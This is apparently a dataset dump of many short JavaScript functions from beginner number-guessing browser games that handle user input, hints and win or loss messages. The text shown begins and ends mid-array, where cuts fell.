    Minimum is 10 lower.
    Maximum is 10 higher.`);\n $(\"#error\").show();\n // win message\n return \"BOOM!\"\n }\n}","function guessNumber(){\nvar programNumber = Math.ceil(Math.random() * 10);\n var userNumber = prompt('Input the number between 1 and 10 inclusive');\n if (userNumber == programNumber)\n alert('Matched');\n else\n alert('Not matched');\n}","function playGuessGame() {\r\n\r\n var chance = 0;\r\n var numToGuess = generateRandomNum();\r\n \r\n while (chance < 3) { // given 3 chances\r\n \r\n chance++;\r\n var userGuess = prompt(\"Your Guess: \"); // taking guess (input) from the user\r\n if (userGuess === numToGuess) {\r\n console.log(\"You're Right. You've Won!!\");\r\n }\r\n else {\r\n console.log(\"Try Again...\");\r\n }\r\n\r\n var playAgain = false;\r\n\r\n if (chance === 3) {\r\n var askUser = prompt(\"Do You Want To Play Again? (Yes/No)\");\r\n askUser = askUser.toLowerCase();\r\n \r\n if (askUser === \"yes\") {\r\n playAgain = true;\r\n chance = 0; // to reset the game\r\n }\r\n else if (askUser === \"no\") {\r\n playAgain = false;\r\n console.log(\"Thank You For Playing With Us Today!\");\r\n }\r\n }\r\n \r\n\r\n\r\n }\r\n\r\n}","function question6() {\n var correctNumber = Math.floor(Math.random() * 30);\n var attempts = 4;\n while (attempts !== 0){\n\n var guessNumber = prompt('Let\\'s get serious. Guess a number from 1 to 50:');\n console.log('User input: ' + guessNumber);\n\n if (parseInt(guessNumber)){\n if (parseInt(guessNumber) === correctNumber){\n\n console.log(\"True!\");\n alert('Great job! You guess it with ' + (5 - attempts) + ' attempt(s)');\n correctAns++;\n break;\n } \n else if (parseInt(guessNumber) < correctNumber){\n \n console.log(parseInt(guessNumber) + ' lower than ' + correctNumber);\n attempts--;\n alert(\"Wrong...Go higher!\" + attempts + \" attempts left\");\n \n } \n else if (parseInt(guessNumber) > correctNumber){\n \n console.log(parseInt(guessNumber) + ' bigger that ' + correctNumber);\n attempts--; \n alert(\"Wrong...Go lower!\" + attempts + \" attempts left\");\n \n }\n \n }\n else alert('Wrong input! It should be a whole number');\n }\n\n if ((attempts === 0) && (guessNumber !== correctNumber)){\n\n alert('You wasted all your attempts...');\n }\n}","function checkValueToGoal(){\n if(currentTotalCounter===randomizedChosenGoalNumber){\n winCounter++;\n $(\"#winCounter\").html(winCounter); \n restartGame();\n } else if(currentTotalCounter> randomizedChosenGoalNumber){\n loseCounter++;\n $(\"#loseCounter\").html(loseCounter);\n restartGame();\n }\n}","function evaluateGuessOne(guess, randomNumber, min, max) {\n console.log(\"minumum number is: \" + min);\n console.log(\"max number is: \" + max);\n if(guess < min || guess > max) {\n console.error(\"Number is not in range\");\n highOrLow1.innerText = \"Out of range\";\n return alert(`Number must be between ${min} and ${max}`);\n } else if(isNaN(guess)){\n console.log(\"NOT A NUMBER\");\n displayGuess1.innerText = \"--\";\n highOrLow1.innerText = \"That's Not a Number...\";\n alert(\"Please enter a valid number\");\n } else if(guess < randomNumber) {\n console.log(\"Player 1: guess is to low: \" + guess);\n highOrLow1.innerText = \"that's to low\";\n } else if(guess > randomNumber) {\n console.log(\"Player 1: guess it to high: \" + guess);\n highOrLow1.innerText = \"that's to high\";\n } else {\n console.log(\"Correct Guess\");\n highOrLow1.innerText = \"BOOM!\";\n newWinnerCard(challenger1Name.value, challenger2Name.value, challenger1Name.value);\n // winnerName.innerText = challenger1Name.value;\n alterGamerRange(min, max);\n console.log(\"The new Minimum range is: \" + min);\n console.log(\"The new Maximum range is: \" + max);\n }\n }","function compare(){\n feedback.classList.remove('warning');\n let num = Number(guessNum.value);\n let sd = 10;\n if ( num > random ) {\n if( Math.abs(num-random) <= sd ){\n feedback.innerHTML = \"Too high, But very close!\"\n } else {\n feedback.innerHTML = \"Too high!\"\n }\n } else if ( num < random ) {\n if( Math.abs(num-random) <= sd ){\n feedback.innerHTML = \"Too low, But very close!\"\n } else {\n feedback.innerHTML = \"Too low!\"\n }\n } else if ( num === random ) {\n feedback.innerHTML = \"Bingo!!!\";\n feedback.classList.add('bingo');\n again();\n };\n}","function getHint() {\n cheating = true;\n var randomnumber=Math.floor(Math.random()*81);\n if (puzzleFull()) { alert(\"No more hints! Puzzle is full!\"); return false;}\n\n if (puzzle.charAt(randomnumber) == '0' && document.getElementById(randomnumber).value == '') {\n document.getElementById(randomnumber).value = puzzleS.charAt(randomnumber);\n } else {\n getHint();\n }\n}","function guessMyNumber(n) {\n var upperbound =6;\n var rightNumber=randInt(upperbound);\n\n if (n > upperbound) {\n return \"Out of bounds! Please try a number between 0 and 5.\";\n }\n \n else if (n === rightNumber) {\n return \"You guessed my number!\";\n }\n return \"Nope! That wasn't it!\" + \"correct number: \" + rightNumber ;\n}","function checkGuess() {\r\n var guess = document.getElementById('guess').value;\r\n\r\n if (!isNaN(guess)) {\r\n var guesses = document.getElementById('output');\r\n\r\n if (guess === randNum) guesses.value = guesses.value + \"\\r\" + \"You have guessed correctly! (\" + guess + \")\";\r\n else if (guess > randNum) guesses.value = guesses.value + \"\\r\" + \"You have guessed too high! (\" + guess + \")\";\r\n else guesses.value = guesses.value + \"\\r\" + \"You have guessed too low! (\" + guess + \")\";\r\n }\r\n else alert(\"Not an integer, try again.\");\r\n}","function guessField(){\n // Store the input entered into the text field into a variable \"ans\" and immediately cast to int\n var ans = parseInt(document.getElementById(\"numberGuess\").elements[\"number\"].value);\n console.log(\"secret: \" + secret + \"\\nyour guess: \" + ans);\n\n do // Used a do-while, because we always want to this block to execute at least once\n {\n console.log(\"Entered while loop\\nsecret: \" + secret + \"\\nans: \" + ans + \"\\nguessed: \" + guessed);\n\n if(ans > secret){\n console.log(\"Your guess is too high\");\n write(\"result4\", ans + \" is too high. Guess again\");\n break;\n } else if (ans < secret){\n console.log(\"Your guess is too low\");\n write(\"result4\", ans + \" is too low. Guess again\");\n break;\n } else if (ans === secret){\n console.log(\"You guessed it!\");\n write(\"result4\", \"You correctly guessed the number \" + ans + \". A new number random number will be generated now\");\n alert(\"You correctly guessed the number \" + ans + \". A new number random number will be generated now\");\n secret = Math.floor(Math.random() * (MAX+1));\n console.log(\"New secret: \" + secret);\n guessed=true;\n } else { // If this else is reached, the input must be invalid. Prompt the user, and get a new guess.\n console.log(\"Invalid input. Enter a number\");\n write(\"result4\", \"Invalid input. Please enter a number between 0 and 5\");\n break;\n }\n } while(guessed === false);\n}","function provideHint() {\n var diff = Math.abs(playersGuess - winningNumber);\n if (diff > 50) {\n return (\" Like whoa. Maybe try a different end of the spectrum.\")\n } else if (diff > 25) {\n return (\" You're a fair ways off.\")\n } else if (diff > 9) {\n return (\" Getting there!\")\n } else {\n return (\" So close!\")\n }\n }","function userWinOrLose() {\n if (result > randomNum) {\n losses++;\n console.log(\"user lost\");\n // alert(\"You lost! Try again.\");\n initializeGame();\n }\n\n if (result === randomNum) {\n wins++;\n console.log(\"user won\");\n // alert(\"You won! Great job. Best out of 5?\");\n initializeGame();\n }\n}","function sixthQuestion() {\n//sixth question\n var secretNum = 20;\n console.log('Value of secretNum: ', secretNum);\n\n// Evaluate whether the guess is too high or too low and give the user four attempts\n var attempt = 0;\n var maxAttempts = 4;\n while (attempt < maxAttempts) {\n var guessedNum = prompt('Guess my secret number.');\n guessedNum = parseInt(guessedNum);\n console.log('value of guessedNum: ', guessedNum);\n console.log('type of guessedNum: ', typeof guessedNum);\n\n if (guessedNum === secretNum) {\n alert('BULLSEYE. ', secretNum, ' was my secret Number!');\n attempt = maxAttempts; // exit loop\n tallyCorrect++;\n } else if (guessedNum < secretNum) {\n alert('Too low. Click OK and guess again.');\n console.log('Attempt #: ', attempt);\n } else if (guessedNum > secretNum) {\n alert('Too high. Click OK and guess again.');\n console.log('Attempt #: ', attempt);\n } else {\n alert('Rethink that choice.');\n console.log('Attempt #: ', attempt);\n }\n attempt++;\n }\n console.log('out of the loop');\n console.log('count: ' + tallyCorrect);\n}","function generateRandNum() {\r\n var guesses = document.getElementById(\"output\");\r\n var clicked = false;\r\n\r\n document.getElementById('newGame').onclick = function() {\r\n clicked = !clicked;\r\n };\r\n document.getElementById('guess').addEventListener(\"keyup\", function(event) {\r\n event.preventDefault();\r\n if (event.keyCode === 13) document.getElementById('check').click();\r\n });\r\n\r\n if (clicked) {\r\n if (!confirm('Restart game with new number?')) return;\r\n }\r\n\r\n guesses.value = '';\r\n randNum = Math.floor(Math.random()*500);\r\n guesses.value = \"New number generated.\\n\"\r\n\r\n // hide number that has been generated\r\n document.getElementById('numToGuess').value = '';\r\n document.getElementById('showCheat').style.display = 'none';\r\n}","function checkFinal(){\n \tplayersGuessSubmission(); \n \t//check errors\n \tif (playersGuess > 100) {\n\t\t\t$(\".text\").append (\"

    Remember between 1 - 100!

    \")\n\t\t}\n\t\telse if (isNaN(playersGuess)) {\n\t\t\t$(\".text\").append (\"

    Not a number

    \")\n\t\t}\n\n\t\telse {\n\t\t\tvar winStatus;\n\t\t\tif (winningNumber === playersGuess) {\n\t \t\twinStatus = \"VICTORY\"; \n \t\t}\n \t\telse {\n \t\t\twinStatus = \"Sorrow and Defeat\";\n \t\t}\n \t\tgameOver(winStatus);\n\t\t}\n }","function setHiddenFields() {\n\n answer.value = (Math.floor((Math.random() * 10000))).toString();\n while (answer.value.length < 4) {\n answer.value = '0' + answer.value;\n }\n attempt.value = 0\n\n\n console.log('set ' + answer.value + ' - ' + (answer.value).length);\n ///Math.floor(Math.random()*1000,4);\n //add functionality to guess function here\n}","function checkGuess(){ \n\t//var guessesRemaining = 5;\n\tif (isNaN(playersGuess) || playersGuess < 1 || playersGuess > 100) { // NaN, less than one, greater than 100\n\t\t$(\"#updates\").text(\"Invalid entry, try again\");\n\t} else {\n\t\tif (playersGuess === winningNumber) {\n\t\t\tyouWin();\n\t\t} else { \n\t\t\tif (guessArray.indexOf(playersGuess) !== -1) { // check if players guess is duplicate \n\t\t\t\t$(\"#updates\").text(\"You entered \" + playersGuess + \" already, guess again\"); \n\t\t\t} else {\n\t\t\t\tnumGuesses++; // increment guesses\n\t\t\t\tguessesRemaining--; // decrement guesses remaining\n\t\t\t\t$(\"p\").append(\"p\").text(\"You have \" + guessesRemaining + \" guesses left.\"); //remaining guesses countdown\n\t\t\t\tguessArray.push(playersGuess); // add guesses to array\n\t\t\t\tguessMessage(); \n\t\t\t\tif (numGuesses >= 5) {\n\t\t\t\t\tgameOver();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}","function playgame() {\n // generates a random number\n let ranNum = Math.floor(Math.random() * maxNum) + minNum;\n\n // alerts the min and max \n alert(\"I'm thinking of a number between \" + minNum + ' and ' + maxNum)\n\n //define the variable\n let guess = 0\n\n\n // runs game \n while (guess != maxTries) {\n // add one to the their the guesses so that the loop stops at 3\n guess += 1\n //ask user for their guess \n let userNumber = prompt('guess a number')\n //convert user input to a number\n userNumber = Number(userNumber)\n\n //checks the answer \n if (userNumber >= minNum && userNumber <= maxNum) {\n\n if (userNumber == ranNum) {\n guess = maxTries\n alert('that is correct')\n\n } else {\n alert('that is incorrect')\n }\n\n } else {\n alert('error:inavild')\n }\n\n }\n}","function checkPlayerGuess() {\n if (!isPlayerWon && !isComputerWon) {\n if (inputLengthLarger()) {\n setTimeout(limitInputLength, 50);\n }\n let secret = playerGuess.value.toUpperCase().substring(0, 5);\n if (secret !== computerBase) {\n messageStatus = 'Wrong Word. Try another guess!';\n message.style.color = wrongColor;\n }\n } else {\n messageStatus = isComputerWon\n ? `Computer wins in ${count} turns`\n : `Human wins in ${count} turns`;\n message.style.color = rightColor;\n }\n}","function checkUserGuess() {\n\tvar userGuess = parseInt($(\"#userGuess\").val()),\n\ttheDifference = Math.abs(newGameNumber - userGuess);\n\t\n\t\n\t\n\n\taddToList(userGuess);\n\n\tif (theDifference === 0)\n\t\twrite(\"You Got It!\");\n\telse if (theDifference <= 10)\n\t\twrite(\"On Fire\");\n\telse if (theDifference <= 25)\n\t\twrite(\"Hotter\");\n\telse if (theDifference <= 50)\n\t\twrite(\"Warm\");\n\telse if (theDifference <= 75)\n\t\twrite(\"Cold\");\n\telse if (theDifference <= 100)\n\t\twrite(\"Freezing\");\n\t\n\t\n}","function startGame(){\n //generate random number by calling function and store it in variable\n randomNumber = generateRandomNumber(parseInt(maximumNumber));\n //generating random number for the number of guesses allowed;\n numberOfGuessesAllowed = Math.floor(Math.random() * 20) + 5;\n //calling function that will scroll the viewport to the game area\n scrollToGameScreen();\n //calling function that displays the message that prompts the user to guess the values\n displayMessageToPromptUserToGuessWithAnimation();\n //calling function that displays the input text field\n displayAnswerInputFieldWithAnimation();\n //calling function that displays the answer button\n displayAnswerButtonWithAnimation();\n }","function inputGuess() {\n var currentGuess = \"000\";\n\tvar currentGuessArray = [];\n\tvar exactPlace = 0;\n var wrongPlace = 0;\n // Get the value of the input field with id=\"guessEntered\"\n currentGuess = pad(document.getElementById(\"guessEntered\").value,3);\n\t// Make current guess into array\n\tcurrentGuessArray = currentGuess.split(\"\");\n // Add the current guess to the end of the array of guesses\n\tarrayOfGuesses.push(currentGuess);\n\t// Calculate number of matches in exact place\n\texactPlace = (Number(combination[0] == currentGuessArray[0]) + Number(combination[1] == currentGuessArray[1]) + Number(combination[2] == currentGuessArray[2]));\n\twrongPlace = (Number(combination[0] == currentGuessArray[1]) + Number(combination[0] == currentGuessArray[2]) + Number(combination[1] == currentGuessArray[0]) + Number(combination[1] == currentGuessArray[2]) + Number(combination[2] == currentGuessArray[0]) + Number(combination[2] == currentGuessArray[1]));\n\t\n\t// If currentGuess is equal to the Target Number, end with Win else provide stats or end with Lose.\t\n switch(Number(currentGuess == combination) * 2 + \n\t\t(Number(guessesRemain != 1))) {\n case 0:\n\t\t\tguessesRemain--;\n\t\t\tguessListText = currentGuess.concat(\"&nbsp;&nbsp;\", \"\", exactPlace, \"&nbsp;\", wrongPlace, \"
    \", guessListText);\n\t\t\tdocument.getElementById(\"response\").innerHTML = \"Sorry, you're out of guesses. The combination was \" + combination + \". Please refresh the page to try a new game.\";\n\t\t\tdocument.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tcase 1:\n\t\t guessesRemain--;\n guessListText = currentGuess.concat(\"&nbsp;&nbsp;\", \"\", exactPlace, \"&nbsp;\", wrongPlace, \"
    \", guessListText);\n\t document.getElementById(\"response\").innerHTML = \"Try again.\";\n document.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tcase 2:\n\t\tcase 3:\n guessesRemain--;\n\t\t\tguessListText = currentGuess.concat(\"&nbsp;&nbsp;\", \"\", exactPlace, \"&nbsp;\", wrongPlace, \"
    \", guessListText);\n\t\t\tdocument.getElementById(\"response\").innerHTML = \"You guessed it!\";\n\t\t\tdocument.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tdefault:\n\t\t document.getElementById(\"response\").innerHTML = \"Wow. Something weird happened. Please notify the game designer.\";\n\t\t\tbreak;\n\t}\n\tdocument.getElementById(\"remaining\").innerHTML = \"Guesses remaining: \" + guessesRemain;\n}","function PromptNumber(max_value) {\n\t// variables created inside of a function aren't available outside of it.\n\t// If you reuse a variable name from the global scope, only the locally defined\n\t// version will be available here.\n\t// It is best to keep global variables to a minimum and only use global variables when necessary.\n\tlet text, num;\n\t\n\t// Here we have a REPEAT UNTIL loop. The program will always go through the loop at least once.\n\t// We say that it is a bottom tested loop as it checks to see if it should loop at the bottom of the block.\n\tdo {\n\t\t// parseInt will change a string into a number.\n\t\ttext = prompt('What is your guess?');\n\t\tnum = parseInt(text);\n\t\t\n\t\tif (isNaN(num)) {\n\t\t\t// If you pass in something that isn't a number to parseInt, it \n\t\t\t// returns a special Not a Number code. If we got that just change\n\t\t\t// it to zero. We will use isNaN to detect a number parse error.\n\t\t\tnum = 0;\n\t\t\talert('\"' + text + '\" is not a number. Try again.');\n\t\t}\n\t\telse if (num < 1) {\n\t\t\talert(num.toString() + ' is too small for the given range. Try again.');\n\t\t}\n\t\telse if (num > max_value) {\n\t\t\talert(num.toString() + ' is too large for the given range. Try again.');\n\t\t}\t\t\n\t}\n\twhile (num < 1 || num > max_value)\n\t// && is the boolean and operator. It will be true when both checks are true and false otherwise.\n\t// || is the boolean or operator. It will be true when either check is true, and only false if both checks are.\n\t\n\t\n\t// To return a value back to the caller use the return statement. \n\treturn num;\n}","function question6 (){\n\n var actualRetries = Math.floor(Math.random() * 10) + 1;\n console.log('Actual number of retries: ' + actualRetries);\n\n var el = document.getElementById('random-number');\n el.textContent = actualRetries;\n\n var guessedRetries = 0;\n var correctGuess = false;\n var numberOfGuesses = 0;\n\n //The initial prompt is kept separate from the follow up question to be more interactive\n\n guessedRetries = prompt('Can you guess the number of my retries to get all answers on the course quiz right? Please be courteous and limit your response to a number between 1 and 10.');\n\n while (numberOfGuesses < 4){\n console.log('Number of retries guessed: ' + guessedRetries);\n if (actualRetries < guessedRetries){\n guessedRetries = prompt('Number is lower than your guess. Try again!');\n } else if (actualRetries > guessedRetries){\n guessedRetries = prompt('Number is higher than your guess. Try again!');\n } else {\n correctGuess = true;\n break;\n }\n numberOfGuesses++;\n }\n\n //Keep track of number ofright answers. Set the alert message depending on the outcomme\n\n if (!correctGuess){\n alert('Sorry, you have exhausted the number of tries.');\n } else{\n alert('Awesome, you got it!');\n numberOfRightAnswers++;\n }\n\n}","function checkGuess(playersGuess){\n\t//If the number hasn't already been tried, check to see if it is the winning number\n if (numbersTried.indexOf(playersGuess) == -1) {\n //If it is a winning number\n if(winningNumber==playersGuess) {\n $('.feedback').text(\"You won!\");\n $('.remaining').text(\"Congratulations!\")\n playerWon();\n }\n //If it is not a winning number, add it to array of tried numbers, and increment guesses \n else {\n $('.feedback').text(lowerOrHigher(winningNumber, playersGuess));\n\n numbersTried.push(playersGuess);\n //Have not given a hint for the current step\n hintNotGiven = true;\n\n guesses--;\n\n //Message to be printed for number of guesses remaining, and also determining if the user lost\n if (guesses > 1) {\n $('.remaining').text(guesses + \" Guesses remaining! Make it count!\")\n } else if (guesses == 1) {\n $('.remaining').text(guesses + \" Guess remaining! Make it count!\")\n } else {\n $('.feedback').text(\"You lost. Play again?\");\n $('.remaining').text(\"Game Over\")\n playerLost();\n };\n };\n} \n //If the user has already guessed this number\n else {\n $('.feedback').text(\"You have already guessed this number\");\n};\n\n}","function checkNumGuess() {\n\tif(guesses === 0) {\n\t\talert(\"Sorry, you couldn't guess the word. Game Over!\");\n\t}\n}","function checkGuess(){\n\tif (playersGuess === winningNumber) {\n\t\tmoveSection();\n\t\tchangeAnn(\"YOU WIN!\")\n\t\tfaceDance();\n\n\t} else {\n\t\tif (arrayOfGuesses.includes(playersGuess)) {\n\t\t\t$('#announcement').fadeOut('fast');\t\n\t\t\tchangeAnn(\"You already guessed that number\");\n\t\t} else {\n\t\t\tarrayOfGuesses.push(playersGuess);\n\t\t\tif (arrayOfGuesses.length === 5){\n\t\t\t\tchangeAnn(\"Game Over!\");\n\t\t\t\t$('#tryAgain').css('background', 'red');\n\t\t\t\tconsole.log(arrayOfGuesses);\n\n\t\t\t} else {\n\t\t\t\tlowerOrHigher();\n\t\t\t\tfaceWag();\n\t\t\t}\n\t\t}\n\t}\n}","function randomGuess(num){\n\tnotGuessed = true;\n\tvar counter = 0;\n\twhile(notGuessed){\n\t\tcounter++;\n\t\tvar rand = Math.random() * array.length;\n\t\tif(array[rand] == num){\n\t\t\tnotGuessed = false;\n\t\t}\n\t}\n\treturn counter;\n}","function guess() {\n\t\tvar guessClick = $(this).text();\n\t\t// console.log(guessClick + \" was clicked\");\n\n\t\tif (guessClick === correctAnswer) {\n\t\t\tcorrectGuess();\n\t\t} else {\n\t\t\tincorrectGuess();\n\t\t}\n\t}","function questionSix(){\n var myNum = 7;\n var turns = 4;\n\n\n var guess = parseInt(prompt('Hi! Do you think you can guess my favorite number? You have 4 attempts'));\n do{\n if (guess > myNum){\n turns--;\n alert('Too high, try again. You have ' + turns + ' remaining');\n guess = parseInt(prompt ('What is my number?'));\n } if (guess < myNum){\n turns--;\n alert('Too low, try again. You have ' + turns + ' remaining');\n guess =parseInt(prompt ('What is my number?'));\n } if (turns < 1) {\n alert('Hey ' + name + '! I said you were out of turns!');\n } if (guess === myNum){\n alert('OMG! You are right!');\n score++;\n }\n }\n while (guess !== myNum && turns >= 1);\n\n}","function askIfPlayerWantsToPlay() {\n if (roundCount == 10) {\n alert(\"Sorry your turns are up\");\n } else {\n let tryAgain = prompt('You can try up to 10 times. Would you like to try to guess a number. Type \"yes\" or \"no\"');\n alert(tryAgain);\n if (tryAgain == \"no\") {\n alert(\"Quitting so soon? roundCount \" + roundCount);\n return;\n } else if (tryAgain != \"yes\") {\n alert('Please enter \"yes\" or \"no\"');\n } else {\n alert(\"Good Luck!\");\n }\n roundCount = roundCount++;\n validateUserInputIsNumber();\n }\n\n}","function fullGuessNumber(){\n var userGuessNumber =prompt('Guess a number between 1-20, you\\'ll have 4 chances with this being your first :)');\n var attemptTries;\n // using parseInt() will turn whatever into a number or using Number()\n\n\n for(attemptTries = 0;attemptTries<4;attemptTries++){\n var userGuessedThisNumber = parseInt(userGuessNumber);\n if(attemptTries===3){\n userGuessNumber = prompt('Last chance! tip: it\\'s between 9 and 12 hehe');\n userGuessedThisNumber= parseInt(userGuessNumber);\n if(userGuessedThisNumber=== 11){\n alert('Wow you guessed it! Nice job!');\n userScore++;\n break;\n }else{\n alert('You failed all guesses,it was 11. oh well');\n break;\n }\n }\n if(userGuessedThisNumber === 11){\n alert('Wow you guessed it. Nice job!');\n userScore;\n break;\n }else if(userGuessedThisNumber< 11){\n userGuessNumber= prompt('Wrong Answer! A bit low try, again! Guess a number between 1-20');\n } else if(userGuessedThisNumber> 11){\n userGuessNumber= prompt('Wrong answer! A bit high, try again.Guess a number between 1-20');\n }else{\n userGuessNumber=prompt('Hey please put a correct choice, a number between 1-20! this counts as wrong. Try again.Guess a number between 1-20');\n\n }\n\n\n }\n}","function isMatches(window) {\n var userNumber = window.prompt(\"Please enter a number between 1 to 10\", \"1\");\n var randomNumber = Math.floor(Math.random() * 10 + 1);\n var result;\n\n userNumber = parseInt(userNumber);\n\n if (userNumber === randomNumber) {\n result = \"Good Work\";\n } else {\n result = \"Not matched\";\n }\n\n return result;\n}","function newGame(){\n\t\tsecretNumber = Math.floor(Math.random()*100) + 1; //Gernerates #\n\t\t//console.log('secretNumber', secretNumber); shows secret number in console.\n\n\t\tcounter = 0;\n\t\tdisplay.innerHTML = counter;\n\n\t\t$('.guessBox').html(''); //resets html and results\n\n\t\tdocument.getElementById('feedback').innerHTML = \"Make Your Guess!\";\n\n\t}","function compareAndInform() {\n var resultSection = document.querySelector('.response');\n if (inputAsNumber() > max ) {\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\n } else if (inputAsNumber() < min) {\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\n } else if (inputAsNumber() < randomNumber) {\n resultSection.innerText = \"That is too low\";\n } else if (inputAsNumber() > randomNumber) {\n resultSection.innerText = \"That is too high\";\n } else if (inputAsNumber() === randomNumber) {\n resultSection.innerText = \"You guessed it!\"\n increaseValueOnWin();\n console.log(randomNumber);\n } else {\n resultSection.innerText = `You need to guess a NUMBER between ${min} and ${max}`;\n }\n}","function hint()\n{ // Begin hint\n // a) Store the input value in the following variable.\n //REMEMBER, you will need casting as input values are\n //always strings\n guess = Number(input.value);\n\n // d) Compare guess to current number\n if( guess < currentNumber)\n { // if guess is less than currentNumber\n // e) Set the message text to say '{guess} is lower\n //than the secret number.' using string interpolation (templates)\n message.textContent = `${guess} is lower than the secret number.`;\n }\n else\n { // otherwise...\n // f) Set the message text to say '{guess} is higher than the secret number.' using string interpolation (templates)\n message.textContent = `${guess} is higher than the secret number.`;\n }\n\n // TAKE IT FURTHER: Don't keep this if it doesn't work!)\n // tf a) Using the math absolute function, find the difference\n // between the guess and the current number\n diff = Math.abs(guess - currentNumber);\n\n // tf b) Create a for loop that starts at 0, checks to see if\n //it's less than 100, and increments by 10\n for(var i=0; i<100; i+=10)\n { // Begin loop\n // tf c) if the diff is less than your loop initializer\n //variable (usually it's i) AND diff is NOT less than 5\n if(diff < i && diff > 5)\n { // if diff...\n // tf d) Set message with the following test:\n // `\\nYou are within ${i} of the secret number.`\n message.textContent = `\\nYou are within ${i} of the secret number.`;\n // tf e) Exit the loop if this condition is true\n break;\n } // ...end if\n } // End loop\n\n // tf f) If diff is less than 5\n if(diff < 5)\n { // Begin if\n // g) Append to the message text:\n // `\\nYou are within 5 of the secret number.`\n message.textContent += `\\nYou are within 5 of the secret number.`;\n } // End if\n // END OF TAKE IT FURTHER\n} // End hint","function makeGuess(num){\n let min = 1\n let max = 5\n\n return num === (Math.floor(Math.random() * (max - min + 1)) + min)\n}","function computerguess(Answer) {\n\n if (Answer === 'C') {\n say('Your number was ' + guessedNumber + '!\\n I guessed it in ' + amoutOfGuesses + ' tries.');\n\n } else {\n\n\n if (Answer === 'H') {\n firstArg = guessedNumber + 1\n amoutOfGuesses++;\n }\n if (Answer === 'L') {\n secondArg = guessedNumber - 1\n amoutOfGuesses++;\n }\n guessedNumber = getRandom(firstArg, secondArg);\n if (firstArg > secondArg) {\n say('I think you are trying to cheat.');\n startGame()\n }\n say('Is ' + guessedNumber + ' your number?');\n }\n}","function newgame(){\n \t\tanwser = Math.floor((Math.random() * 100) + 1);\n\t\tcount = 0;\n\t\t$('#count').text(count);\n\t\t$('#feedback').text('Make your Guess!');\n\t\tguesses = [];\n\t\t$('#guessList').children().hide();\n\t}"],"string":"[\n \"function randomNumber() {\\n\\tif (getyx(y,x) =='Y3X23' || getyx(y,x) =='Y3X2') {\\n\\t\\tvar randomNumber = (Math.floor(Math.random() * 5) + 1);\\n\\t\\tvar bet = prompt('Please make a wager');\\n\\t\\tvar guess = prompt('Please pick a number from 1 to 5');\\n\\t\\t\\tif(parseInt(guess) == randomNumber) {\\n\\t\\t\\talert('You just increased your score by ' + bet + ' !')\\n\\t\\t\\tscore += parseInt(bet);\\n\\t\\t\\tscoreCheck();\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\talert('Sorry you just lost ' + bet + ' health points :(');\\n\\t\\t\\thealth -= parseInt(bet);\\n\\t\\t\\tscoreCheck();\\n\\t\\t}\\n\\t}\\n}\",\n \"function processValidGuess(guess) {\\n if (guess < aRandomNumber) {\\n $('.result-line').text(\\\"That is too low\\\");\\n } else if (guess > aRandomNumber) {\\n $('.result-line').text(\\\"That is too high\\\");\\n } else {\\n increaseWins();\\n increaseMinMax();\\n $('.result-line').text(\\\"BOOM! Click Reset to continue playing\\\");\\n }\\n }\",\n \"function provideHint(){\\n\\tvar guessesLeft = (5 - (arrayOfGuesses.length));\\n\\tvar hintArray = [winningNumber];\\n\\tfor (var i = 1; i < 2*guessesLeft; i++) {\\n\\t\\tvar rand = generateWinningNumber();\\n\\t\\thintArray.push(rand);\\n\\t}\\n\\tshuffle(hintArray);\\n\\tchangeAnn(\\\"One of these is the answer: \\\" + hintArray);\\n}\",\n \"function guessing() {\\n\\tconst guess = Number(document.querySelector(\\\".guess\\\").value);\\n\\t// ----- Invalid input\\n\\tif (guess < 1 || guess > 20) {\\n\\t\\tchangeText(\\\".number\\\", guess);\\n\\t\\tchangeText(\\n\\t\\t\\t\\\".message\\\",\\n\\t\\t\\t\\\"Invalid value, please select number between 1 and 20\\\"\\n\\t\\t);\\n\\t} // ----- Correct Guess\\n\\telse if (guess === randomNumber) {\\n\\t\\tchangeText(\\\".number\\\", randomNumber);\\n\\t\\tdocument.querySelector(\\\"body\\\").style.backgroundColor = \\\"green\\\";\\n\\t\\tdocument.querySelector(\\\".number\\\").style.width = \\\"30rem\\\";\\n\\t\\tscore++;\\n\\t\\tchangeText(\\\".score\\\", score);\\n\\t\\tchangeText(\\\".message\\\", \\\"You are Correct!\\\");\\n\\t\\t//Validate that score is higher than highscore and, if true, set highscore\\n\\t\\tscore > highscore ? (highscore = score) : highscore;\\n\\t\\tchangeText(\\\".highscore\\\", highscore);\\n\\t} // ----- Low Guess\\n\\telse if (guess < randomNumber) {\\n\\t\\tlowHighGuess(\\\"low\\\");\\n\\t} // ----- High Guess\\n\\telse if (guess > randomNumber) {\\n\\t\\tlowHighGuess(\\\"high\\\");\\n\\t}\\n}\",\n \"function checkGuess(guess) {\\n // Write your code here\\n if (guess == randomNumber){\\n alert(\\\"You got it!\\\");\\n }\\n else {\\n alert(\\\"Try again\\\");\\n }\\n }\",\n \"function enterAGuess(guessedNumbered){\\n\\n var differenceNum = Math.abs(guessedNumbered - randomNum);\\n if (differenceNum == 0){\\n \\t//alert(\\\"You did it!\\\");\\n \\t$(\\\"h2\\\").text(\\\"You Won!\\\");\\n } \\n \\telse if (differenceNum >= 50){\\n \\t\\t$(\\\"h2\\\").text(\\\"Colder\\\");\\n \\t}\\n else if (differenceNum >= 30){\\n \\t$(\\\"h2\\\").text(\\\"Cold\\\");\\n }\\n else if (differenceNum >=20){\\n \\t$(\\\"h2\\\").text(\\\"Hot\\\");\\n }\\n else if (differenceNum >=10){\\n \\t$(\\\"h2\\\").text(\\\"Hotter\\\");\\n } \\n /*---- counting the number of guesses */\\n countTrackGuesses(guessedNumbered);\\t\\n }\",\n \"function processGuess() {\\n var guess = document.getElementById(\\\"inputText\\\").value;\\n var hint = document.getElementById(\\\"hintMessage\\\");\\n hint.innerHTML = guess;\\n var recent = document.getElementById(\\\"inputText\\\").value;\\n recentGuess.innerHTML = guess;\\n // If the userGuess is lower than the random number the h2 will tell the user their guess is too low.\\n if (guess < rand) {\\n hint.innerHTML = \\\"Hint: Your guess is too low, please try again.\\\"\\n };\\n // If the userGuess is higher than the random number the h2 will tell the user their guess is too high.\\n if (guess > rand) {\\n hint.innerHTML= \\\"Hint: Your guess is too high, please try 